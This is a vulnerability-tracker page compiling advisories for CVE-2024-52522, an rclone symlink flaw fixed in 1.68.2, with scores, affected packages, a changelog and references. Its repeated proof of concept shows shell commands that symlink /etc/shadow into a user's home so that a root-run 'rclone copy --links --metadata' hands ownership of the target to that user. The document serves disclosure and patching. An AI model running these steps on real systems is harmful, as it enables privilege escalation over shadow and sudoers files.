CVE-2024-52522
Rclone Improper Permission and Ownership Handling on Symlink Targets with --links and --metadata
Rclone is a command-line program to sync files and directories to and from different cloud storage providers. Insecure handling of symlinks with --links and --metadata in rclone while copying to local disk allows unprivileged users to indirectly modify ownership and permissions on symlink target files when a superuser or privileged process performs a copy. This vulnerability could enable privilege escalation and unauthorized access to critical system files, compromising system integrity, confidentiality, and availability. This vulnerability is fixed in 1.68.2.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- Active
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
5.4
Rclone Improper Permission and Ownership Handling on Symlink Targets with --links and --metadata
Rclone is a command-line program to sync files and directories to and from different cloud storage providers. Insecure handling of symlinks with --links and --metadata in rclone while copying to local disk allows unprivileged users to indirectly modify ownership and permissions on symlink target files when a superuser or privileged process performs a copy. This vulnerability could enable privilege escalation and unauthorized access to critical system files, compromising system integrity, confidentiality, and availability. This vulnerability is fixed in 1.68.2.
- Record
CVE-2024-52522- CVSS 4.0
- 5.4 Medium
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L - Weakness
- CWE-59, CWE-61, CWE-281
- Updated
- 2026-11-02
EUVDEUVD-2024-3358
5.4
Rclone is a command-line program to sync files and directories to and from different cloud storage providers. Insecure handling of symlinks with --links and --metadata in rclone while copying to local disk allows unprivileged users to indirectly modify ownership and permissions on symlink target files when a superuser or privileged process performs a copy. This vulnerability could enable privilege escalation and unauthorized access to critical system files, compromising system integrity, confidentiality, and availability. This vulnerability is fixed in 1.68.2.
- Record
EUVD-2024-3358- CVSS 4.0
- 5.4 Medium
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-hrxh-9w67-g4cv
5.4
Rclone has Improper Permission and Ownership Handling on Symlink Targets with --links and --metadata
tl;dr:
unprivileged user creates a symlink to /etc/sudoers, /etc/shadow or similar and waits for a privileged user or process to copy/backup/mirror users data (using --links and --metadata). unprivileged user now owns /etc/sudoers.
Summary
Insecure handling of symlinks with --links and --metadata in rclone while copying to local disk allows unprivileged users to indirectly modify ownership and permissions on symlink target files when a superuser or privileged process performs a copy. This vulnerability could enable privilege escalation and unauthorized access to critical system files (e.g., /etc/shadow), compromising system integrity, confidentiality, and availability.
For instance, an unprivileged user could set a symlink to a sensitive file within their home directory, waiting for an administrator or automated process (e.g., a cron job running with elevated privileges) to copy their files with rclone using the --links and --metadata options. Upon copying, rclone will incorrectly apply chown and chmod to the symlink’s target file rather than just the symlink itself, resulting in ownership and permission changes on the sensitive file.
Who is affected
If you are not using --metadata and --links and copying files to the local backend you are not affected by this issue.
If you are using --metadata and -links and copying files to the local backend but not as a superuser, then this will manifest itself as a bug by setting incorrect permissions.
If you are using --metadata and -links and copying files to the local backend but as a superuser then this could affect you.
Details
When copying directories containing symlinks with rclone using the --links and --metadata options, rclone mistakenly applies chown and chmod operations to the target of the symlink instead of the symlink itself. As a result, ownership and permissions on sensitive system files (e.g., /etc/shadow) may be altered if they are the target of any symlink within the copied directory structure. This allows users to affect the permissions and ownership of files they should not have access to, resulting in privilege escalation and potential system compromise.
PoC
# Create a directory to simulate a user home directory
root@workstation:~# mkdir -p /tmp/home/user1
root@workstation:~# sudo chown user1:user1 /tmp/home/user1
# As user1, create a symlink to /etc/shadow within their home directory
root@workstation:~# sudo -u user1 ln -s /etc/shadow /tmp/home/user1/shadow_link
# List permissions on the original files
root@workstation:~# ls -l /tmp/home/user1/shadow_link /etc/shadow
----------. 1 root root 1283 Nov 5 13:30 /etc/shadow
lrwxrwxrwx. 1 user1 user1 11 Nov 5 13:56 /tmp/home/user1/shadow_link -> /etc/shadow
# Copy the directory structure with rclone
root@workstation:~# rclone copy /tmp/home /tmp/home_new --links --metadata --log-level=DEBUG
2024/11/05 13:56:53 DEBUG : rclone: Version "v1.68.1" starting with parameters ["rclone" "copy" "/tmp/home" "/tmp/home_new" "--links" "--metadata" "--log-level=DEBUG"]
2024/11/05 13:56:53 DEBUG : Creating backend with remote "/tmp/home"
2024/11/05 13:56:53 NOTICE: Config file "/root/.config/rclone/rclone.conf" not found - using defaults
2024/11/05 13:56:53 DEBUG : local: detected overridden config - adding "{b6816}" suffix to name
2024/11/05 13:56:53 DEBUG : fs cache: renaming cache item "/tmp/home" to be canonical "local{b6816}:/tmp/home"
2024/11/05 13:56:53 DEBUG : Creating backend with remote "/tmp/home_new"
2024/11/05 13:56:53 DEBUG : local: detected overridden config - adding "{b6816}" suffix to name
2024/11/05 13:56:53 DEBUG : fs cache: renaming cache item "/tmp/home_new" to be canonical "local{b6816}:/tmp/home_new"
2024/11/05 13:56:53 DEBUG : Added delayed dir = "user1", newDst=<nil>
2024/11/05 13:56:53 DEBUG : user1/shadow_link.rclonelink: Need to transfer - File not found at Destination
2024/11/05 13:56:53 DEBUG :…
- Record
GHSA-hrxh-9w67-g4cv- CVSS 4.0
- 5.4 Medium
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L - CVSS 3.1
- 5.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L - Weakness
- CWE-281
- Updated
- 2026-11-02
NVD
5.4
Rclone is a command-line program to sync files and directories to and from different cloud storage providers. Insecure handling of symlinks with --links and --metadata in rclone while copying to local disk allows unprivileged users to indirectly modify ownership and permissions on symlink target files when a superuser or privileged process performs a copy. This vulnerability could enable privilege escalation and unauthorized access to critical system files, compromising system integrity, confidentiality, and availability. This vulnerability is fixed in 1.68.2.
- Record
CVE-2024-52522- CVSS 4.0
- 5.4 Medium
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Weakness
- CWE-59, CWE-61, CWE-281
- Updated
- 2026-11-02
OSVALPINE-CVE-2024-52522
5.4
Rclone is a command-line program to sync files and directories to and from different cloud storage providers. Insecure handling of symlinks with --links and --metadata in rclone while copying to local disk allows unprivileged users to indirectly modify ownership and permissions on symlink target files when a superuser or privileged process performs a copy. This vulnerability could enable privilege escalation and unauthorized access to critical system files, compromising system integrity, confidentiality, and availability. This vulnerability is fixed in 1.68.2.
- Record
ALPINE-CVE-2024-52522- CVSS 4.0
- 5.4 Medium
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Updated
- 2026-11-03
OSV
5.4
Rclone Improper Permission and Ownership Handling on Symlink Targets with --links and --metadata
Rclone is a command-line program to sync files and directories to and from different cloud storage providers. Insecure handling of symlinks with --links and --metadata in rclone while copying to local disk allows unprivileged users to indirectly modify ownership and permissions on symlink target files when a superuser or privileged process performs a copy. This vulnerability could enable privilege escalation and unauthorized access to critical system files, compromising system integrity, confidentiality, and availability. This vulnerability is fixed in 1.68.2.
- Record
CVE-2024-52522- CVSS 4.0
- 5.4 Medium
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L - Weakness
- CWE-281, CWE-59, CWE-61
- Updated
- 2026-11-02
Show 10 moreShow less
OSVDEBIAN-CVE-2024-52522
5.4
Rclone is a command-line program to sync files and directories to and from different cloud storage providers. Insecure handling of symlinks with --links and --metadata in rclone while copying to local disk allows unprivileged users to indirectly modify ownership and permissions on symlink target files when a superuser or privileged process performs a copy. This vulnerability could enable privilege escalation and unauthorized access to critical system files, compromising system integrity, confidentiality, and availability. This vulnerability is fixed in 1.68.2.
- Record
DEBIAN-CVE-2024-52522- CVSS 4.0
- 5.4 Medium
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Updated
- 2026-11-02
OSVGHSA-hrxh-9w67-g4cv
5.4
Rclone has Improper Permission and Ownership Handling on Symlink Targets with --links and --metadata
tl;dr:
unprivileged user creates a symlink to /etc/sudoers, /etc/shadow or similar and waits for a privileged user or process to copy/backup/mirror users data (using --links and --metadata). unprivileged user now owns /etc/sudoers.
Summary
Insecure handling of symlinks with --links and --metadata in rclone while copying to local disk allows unprivileged users to indirectly modify ownership and permissions on symlink target files when a superuser or privileged process performs a copy. This vulnerability could enable privilege escalation and unauthorized access to critical system files (e.g., /etc/shadow), compromising system integrity, confidentiality, and availability.
For instance, an unprivileged user could set a symlink to a sensitive file within their home directory, waiting for an administrator or automated process (e.g., a cron job running with elevated privileges) to copy their files with rclone using the --links and --metadata options. Upon copying, rclone will incorrectly apply chown and chmod to the symlink’s target file rather than just the symlink itself, resulting in ownership and permission changes on the sensitive file.
Who is affected
If you are not using --metadata and --links and copying files to the local backend you are not affected by this issue.
If you are using --metadata and -links and copying files to the local backend but not as a superuser, then this will manifest itself as a bug by setting incorrect permissions.
If you are using --metadata and -links and copying files to the local backend but as a superuser then this could affect you.
Details
When copying directories containing symlinks with rclone using the --links and --metadata options, rclone mistakenly applies chown and chmod operations to the target of the symlink instead of the symlink itself. As a result, ownership and permissions on sensitive system files (e.g., /etc/shadow) may be altered if they are the target of any symlink within the copied directory structure. This allows users to affect the permissions and ownership of files they should not have access to, resulting in privilege escalation and potential system compromise.
PoC
# Create a directory to simulate a user home directory
root@workstation:~# mkdir -p /tmp/home/user1
root@workstation:~# sudo chown user1:user1 /tmp/home/user1
# As user1, create a symlink to /etc/shadow within their home directory
root@workstation:~# sudo -u user1 ln -s /etc/shadow /tmp/home/user1/shadow_link
# List permissions on the original files
root@workstation:~# ls -l /tmp/home/user1/shadow_link /etc/shadow
----------. 1 root root 1283 Nov 5 13:30 /etc/shadow
lrwxrwxrwx. 1 user1 user1 11 Nov 5 13:56 /tmp/home/user1/shadow_link -> /etc/shadow
# Copy the directory structure with rclone
root@workstation:~# rclone copy /tmp/home /tmp/home_new --links --metadata --log-level=DEBUG
2024/11/05 13:56:53 DEBUG : rclone: Version "v1.68.1" starting with parameters ["rclone" "copy" "/tmp/home" "/tmp/home_new" "--links" "--metadata" "--log-level=DEBUG"]
2024/11/05 13:56:53 DEBUG : Creating backend with remote "/tmp/home"
2024/11/05 13:56:53 NOTICE: Config file "/root/.config/rclone/rclone.conf" not found - using defaults
2024/11/05 13:56:53 DEBUG : local: detected overridden config - adding "{b6816}" suffix to name
2024/11/05 13:56:53 DEBUG : fs cache: renaming cache item "/tmp/home" to be canonical "local{b6816}:/tmp/home"
2024/11/05 13:56:53 DEBUG : Creating backend with remote "/tmp/home_new"
2024/11/05 13:56:53 DEBUG : local: detected overridden config - adding "{b6816}" suffix to name
2024/11/05 13:56:53 DEBUG : fs cache: renaming cache item "/tmp/home_new" to be canonical "local{b6816}:/tmp/home_new"
2024/11/05 13:56:53 DEBUG : Added delayed dir = "user1", newDst=<nil>
2024/11/05 13:56:53 DEBUG : user1/shadow_link.rclonelink: Need to transfer - File not found at Destination
2024/11/05 13:56:53 DEBUG :…
- Record
GHSA-hrxh-9w67-g4cv- CVSS 4.0
- 5.4 Medium
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L - CVSS 3.1
- 5.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L - Weakness
- CWE-281
- Updated
- 2026-11-02
OSVJLSEC-2026-279
5.4
Rclone has Improper Permission and Ownership Handling on Symlink Targets with --links and --metadata
tl;dr:
unprivileged user creates a symlink to /etc/sudoers, /etc/shadow or similar and waits for a privileged user or process to copy/backup/mirror users data (using --links and --metadata). unprivileged user now owns /etc/sudoers.
Summary
Insecure handling of symlinks with --links and --metadata in rclone while copying to local disk allows unprivileged users to indirectly modify ownership and permissions on symlink target files when a superuser or privileged process performs a copy. This vulnerability could enable privilege escalation and unauthorized access to critical system files (e.g., /etc/shadow), compromising system integrity, confidentiality, and availability.
For instance, an unprivileged user could set a symlink to a sensitive file within their home directory, waiting for an administrator or automated process (e.g., a cron job running with elevated privileges) to copy their files with rclone using the --links and --metadata options. Upon copying, rclone will incorrectly apply chown and chmod to the symlink’s target file rather than just the symlink itself, resulting in ownership and permission changes on the sensitive file.
Who is affected
If you are not using --metadata and --links and copying files to the local backend you are not affected by this issue.
If you are using --metadata and -links and copying files to the local backend but not as a superuser, then this will manifest itself as a bug by setting incorrect permissions.
If you are using --metadata and -links and copying files to the local backend but as a superuser then this could affect you.
Details
When copying directories containing symlinks with rclone using the --links and --metadata options, rclone mistakenly applies chown and chmod operations to the target of the symlink instead of the symlink itself. As a result, ownership and permissions on sensitive system files (e.g., /etc/shadow) may be altered if they are the target of any symlink within the copied directory structure. This allows users to affect the permissions and ownership of files they should not have access to, resulting in privilege escalation and potential system compromise.
PoC
# Create a directory to simulate a user home directory
root@workstation:~# mkdir -p /tmp/home/user1
root@workstation:~# sudo chown user1:user1 /tmp/home/user1
# As user1, create a symlink to /etc/shadow within their home directory
root@workstation:~# sudo -u user1 ln -s /etc/shadow /tmp/home/user1/shadow_link
# List permissions on the original files
root@workstation:~# ls -l /tmp/home/user1/shadow_link /etc/shadow
----------. 1 root root 1283 Nov 5 13:30 /etc/shadow
lrwxrwxrwx. 1 user1 user1 11 Nov 5 13:56 /tmp/home/user1/shadow_link -> /etc/shadow
# Copy the directory structure with rclone
root@workstation:~# rclone copy /tmp/home /tmp/home_new --links --metadata --log-level=DEBUG
2024/11/05 13:56:53 DEBUG : rclone: Version "v1.68.1" starting with parameters ["rclone" "copy" "/tmp/home" "/tmp/home_new" "--links" "--metadata" "--log-level=DEBUG"]
2024/11/05 13:56:53 DEBUG : Creating backend with remote "/tmp/home"
2024/11/05 13:56:53 NOTICE: Config file "/root/.config/rclone/rclone.conf" not found - using defaults
2024/11/05 13:56:53 DEBUG : local: detected overridden config - adding "{b6816}" suffix to name
2024/11/05 13:56:53 DEBUG : fs cache: renaming cache item "/tmp/home" to be canonical "local{b6816}:/tmp/home"
2024/11/05 13:56:53 DEBUG : Creating backend with remote "/tmp/home_new"
2024/11/05 13:56:53 DEBUG : local: detected overridden config - adding "{b6816}" suffix to name
2024/11/05 13:56:53 DEBUG : fs cache: renaming cache item "/tmp/home_new" to be canonical "local{b6816}:/tmp/home_new"
2024/11/05 13:56:53 DEBUG : Added delayed dir = "user1", newDst=<nil>
2024/11/05 13:56:53 DEBUG : user1/shadow_link.rclonelink: Need to transfer - File not found at Destination
2024/11/05 13:56:53…
- Record
JLSEC-2026-279- CVSS 4.0
- 5.4 Medium
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 5.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L - Updated
- 2026-11-02
OSVUBUNTU-CVE-2024-52522
5.4
Rclone is a command-line program to sync files and directories to and from different cloud storage providers. Insecure handling of symlinks with --links and --metadata in rclone while copying to local disk allows unprivileged users to indirectly modify ownership and permissions on symlink target files when a superuser or privileged process performs a copy. This vulnerability could enable privilege escalation and unauthorized access to critical system files, compromising system integrity, confidentiality, and availability. This vulnerability is fixed in 1.68.2.
- Record
UBUNTU-CVE-2024-52522- CVSS 4.0
- 5.4 Medium
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L - Updated
- 2026-11-02
OSVBIT-rclone-2024-52522 No score
Rclone Improper Permission and Ownership Handling on Symlink Targets with --links and --metadata
Rclone is a command-line program to sync files and directories to and from different cloud storage providers. Insecure handling of symlinks with --links and --metadata in rclone while copying to local disk allows unprivileged users to indirectly modify ownership and permissions on symlink target files when a superuser or privileged process performs a copy. This vulnerability could enable privilege escalation and unauthorized access to critical system files, compromising system integrity, confidentiality, and availability. This vulnerability is fixed in 1.68.2.
- Record
BIT-rclone-2024-52522- Updated
- 2026-11-02
OSVGO-2024-3271 No score
Rclone Improper Permission and Ownership Handling on Symlink Targets with --links and --metadata in github.com/rclone/rclone
Rclone Improper Permission and Ownership Handling on Symlink Targets with --links and --metadata in github.com/rclone/rclone
- Record
GO-2024-3271- Updated
- 2026-11-02
OSVMGASA-2026-0147 No score
Updated rclone packages fix security vulnerabilities
This update bring new features, bugs and vulnerabilities fixed in rclone and golang components used to build it.
- Record
MGASA-2026-0147- Updated
- 2026-11-02
OSVopenSUSE-SU-2024:14513-1 No score
govulncheck-vulndb-0.0.20241119T173509-1.1 on GA media
These are all security issues fixed in the govulncheck-vulndb-0.0.20241119T173509-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2024:14513-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2024:14524-1 No score
rclone-1.68.2-2.1 on GA media
These are all security issues fixed in the rclone-1.68.2-2.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2024:14524-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:20620-1 No score
Security update for rclone
This update for rclone fixes the following issues:
Changes in rclone:
-
Update to version 1.73.5:
- Version v1.73.5
- operations: add AuthRequired to operations/fsinfo to prevent backend creation CVE-2026-41179
- rc: snapshot NoAuth at startup to prevent runtime auth bypass CVE-2026-41176
- rc: add AuthRequired to options/set to prevent auth bypass CVE-2026-41176
- s3: fix empty delimiter parameter rejected by Archiware P5 server
- azureblob/auth: add Microsoft Partner Network User-Agent prefix
- drime: fix User.EntryPermissions JSON unmarshalling
- filter: fix debug logs that fire before logger is configured - fixes #9291
- s3: fix TencentCOS CDN endpoint failing on bucket check
- iclouddrive: fix 'directory not found' error when the directory contains accent marks
- Start v1.73.5-DEV development
-
Update to version 1.73.4:
- Version v1.73.4
- Update to go 1.25.9 to fix multiple CVEs
- build: fix Denial of Service due to Panic in AWS SDK for Go v2 SDK EventStream Decoder
- docs: fix markdown issues in mount docs
- docs: fix header level for metadata option
- fix(docs): Fix link to not be language specific
- filen: update SDK version
- build(deps): bump golang.org/x/image from 0.36.0 to 0.38.0
- docs: note macOS 10.15 (Catalina) support with version v1.70.3
- Start v1.73.4-DEV development
-
Update to version 1.73.3: (CVE-2026-33186 GHSA-6g7g-w4f8-9c9x)
- Version v1.73.3
- build(deps): bump github.com/buger/jsonparser from 1.1.1 to 1.1.2
- docs/jottacloud: fix broken link
- docs: clarify Filen password change requires updating both password and API key in rclone config
- docs: note that Filen API key changes on password change
- build(deps): bump google.golang.org/grpc from 1.79.1 to 1.79.3
- s3: add multi tenant support for Cubbit
- lib/rest: fix URLPathEscapeAll breaking WebDAV servers (eg nzbdav) with strict path matching
- list: fix nil pointer panic in Sorter when temp file creation fails
- docs: update RELEASE procedure to avoid mistakes
- docs: added text to the label showing version-introduced info
- Start v1.73.3-DEV development
- docs: update sponsors
-
Update to version 1.73.2:
- Version v1.73.2
- Update to go 1.25.8 to fix multiple CVEs
- build: update to golang.org/x/net v0.51.0 to fix CVE-2026-27141 #9220
- docs: fix new drive flag typo in changelog
- webdav: add missing headers for CORS
- docs: Document unsupported S3 object keys with double slashes
- docs: note that --use-server-modtime only works on some backends
- internxt: fix Entry doesn't belong in directory errors on windows
- drime: fix chunk-uploaded files ignoring workspace ID
- docs: Fix headers hierarchy for mount.md
- webdav: escape reserved characters in URL path segments
- bisync: add group Sync to the bisync command
- archive: extract: strip "./" prefix from tar entry paths
- docs: add instructions on how to update Go version
- buid: update github.com/cloudflare/circl to v1.6.3 to fix CVE-2026-1229
- Start v1.73.2-DEV development
-
Update to version 1.73.1:
- Version v1.73.1
- build: fix build using go 1.26.0 instead of go 1.25.7
- fs/march: fix runtime: program exceeds 10000-thread limit
- accounting: fix missing server side stats from core/stats rc
- pacer: re-read the sleep time as it may be stale
- pacer: fix deadlock between pacer token and --max-connections
- build: fix CVE-2025-68121 by updating go to 1.25.7 or later - fixes #9167
- drime: fix files and directories being created in the default workspace
- docs: update sponsors
- copyurl: Extend copyurl docs with an example of CSV FILENAMEs starting with a path.
- internxt: implement re-login under refresh logic, improve retry logic - fixes #9174
- docs: add ExchangeRate-API as a sponsor
- build: bump github.com/go-chi/chi/v5 from 5.2.3 to 5.2.5 to fix GO-2026-4316
- Set list_version to 2 for FileLu S3 configuration
- filelu: add multipart upload support…
- Record
openSUSE-SU-2026:20620-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/rclone/rcloneGo |
1.59.0 up to 1.68.2 | 1.68.2 |
rcloneAlpine:v3.20 |
before 1.68.2-r0 | 1.68.2-r0 |
rcloneAlpine:v3.21 |
before 1.68.2-r0 | 1.68.2-r0 |
rcloneAlpine:v3.22 |
before 1.68.2-r0 | 1.68.2-r0 |
rcloneAlpine:v3.23 |
before 1.68.2-r0 | 1.68.2-r0 |
rcloneAlpine:v3.24 |
before 1.68.2-r0 | 1.68.2-r0 |
rcloneBitnami |
1.59.0 up to 1.68.2 | 1.68.2 |
rcloneDebian:12 |
All versions, plus listed versions 1.60.1+dfsg-21.60.1+dfsg-31.60.1+dfsg-41.65.0+dfsg-11.65.0+dfsg-2 Show 5 moreShow less1.69.3+dfsg-11.69.3+dfsg-21.69.3+dfsg-31.75.2-11.75.2-2 |
None known |
rcloneDebian:13 |
All versions, plus listed versions 1.60.1+dfsg-41.65.0+dfsg-11.65.0+dfsg-21.69.3+dfsg-11.69.3+dfsg-21.69.3+dfsg-31.75.2-11.75.2-2 |
None known |
Rclone_jllJulia |
before 1.69.0+0 | 1.69.0+0 |
Show 7 moreShow less
| Package | Affected | Fixed |
|---|---|---|
rcloneMageia:9 From an advisory covering 31 CVEs |
before 1.73.5-1.1.mga9 | 1.73.5-1.1.mga9 |
rcloneUbuntu:Pro:24.04:LTS |
All versions, plus listed versions 1.60.1+dfsg-2build11.60.1+dfsg-31.60.1+dfsg-3ubuntu0.24.04.11.60.1+dfsg-3ubuntu0.24.04.21.60.1+dfsg-3ubuntu0.24.04.3 Show 6 moreShow less1.60.1+dfsg-3ubuntu0.24.04.41.60.1+dfsg-3ubuntu0.24.04.4+esm11.60.1+dfsg-3ubuntu0.24.04.51.60.1+dfsg-3ubuntu0.24.04.5+esm11.60.1+dfsg-3ubuntu0.24.04.61.60.1+dfsg-3ubuntu0.24.04.6+esm1 |
None known |
rcloneUbuntu:25.10 |
All versions, plus listed versions 1.60.1+dfsg-41.60.1+dfsg-4ubuntu11.60.1+dfsg-4ubuntu21.60.1+dfsg-4ubuntu2.1 |
None known |
rcloneUbuntu:26.10 |
All versions, plus listed versions 1.60.1+dfsg-4ubuntu31.69.3+dfsg-31.69.3+dfsg-3ubuntu1 |
None known |
rcloneUbuntu:Pro:26.04:LTS |
All versions, plus listed versions 1.60.1+dfsg-4ubuntu21.60.1+dfsg-4ubuntu31.60.1+dfsg-4ubuntu3.11.60.1+dfsg-4ubuntu3.1+esm11.60.1+dfsg-4ubuntu3.21.60.1+dfsg-4ubuntu3.2+esm1 |
None known |
govulncheck-vulndbopenSUSE:Tumbleweed From an advisory covering 10 CVEs |
before 0.0.20241119T173509-1.1 | 0.0.20241119T173509-1.1 |
rcloneopenSUSE:Tumbleweed |
before 1.68.2-2.1 | 1.68.2-2.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| affected, aliases, references | OSV | |
| published | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2024-52522 is a medium vulnerability (CVSS 5.4) in Rclone, published November 15, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.24%, the 15th percentile. Fixed in github.com/rclone/rclone 1.68.2.
References
github.com/rclone/rclone/security/advisories/GHSA-hrxh-9w67-g4cv
github.com/rclone/rclone/commit/01ccf204f42b4f68541b16843292439090a2dcf0
nvd.nist.gov/vuln/detail/CVE-2024-52522
github.com/advisories/GHSA-hrxh-9w67-g4cv
security.alpinelinux.org/vuln/CVE-2024-52522
github.com/CVEProject/cvelistV5/tree/main/cves/2024/52xxx/CVE-2024-52522.json
Show 35 moreShow less
security-tracker.debian.org/tracker/CVE-2024-52522
github.com/rclone/rclone
advisories.mageia.org/MGASA-2026-0147.html
bugs.mageia.org/show_bug.cgi?id=33808
rclone.org/changelog
ubuntu.com/security/CVE-2024-52522
cve.org/CVERecord?id=CVE-2024-52522
github.com/rclone/rclone/commit/669b2f2669cacd634faa2bcecb589b76e1402533
lists.opensuse.org/archives/list/[email protected]/thread/CJ6SUNDNOZSHM4PZYYGMBH7233D63JOI
suse.com/security/cve/CVE-2020-8911
suse.com/security/cve/CVE-2023-0109
suse.com/security/cve/CVE-2024-0793
suse.com/security/cve/CVE-2024-24425
suse.com/security/cve/CVE-2024-24426
suse.com/security/cve/CVE-2024-44625
suse.com/security/cve/CVE-2024-52010
suse.com/security/cve/CVE-2024-52308
suse.com/security/cve/CVE-2024-52522
suse.com/security/cve/CVE-2024-9526
lists.opensuse.org/archives/list/[email protected]/thread/ZDALQMKDB2MNTQDBR35CGMLDHAGU3OQ5
bugzilla.suse.com/1232964
bugzilla.suse.com/1233422
suse.com/security/cve/CVE-2024-45337
suse.com/security/cve/CVE-2024-45338
suse.com/security/cve/CVE-2024-51744
suse.com/security/cve/CVE-2025-22869
suse.com/security/cve/CVE-2025-22870
suse.com/security/cve/CVE-2025-30204
suse.com/security/cve/CVE-2025-58181
suse.com/security/cve/CVE-2025-68121
suse.com/security/cve/CVE-2026-1229
suse.com/security/cve/CVE-2026-27141
suse.com/security/cve/CVE-2026-33186
suse.com/security/cve/CVE-2026-41176
suse.com/security/cve/CVE-2026-41179
Left out here: the rest of 4 source descriptions. The JSON record has them.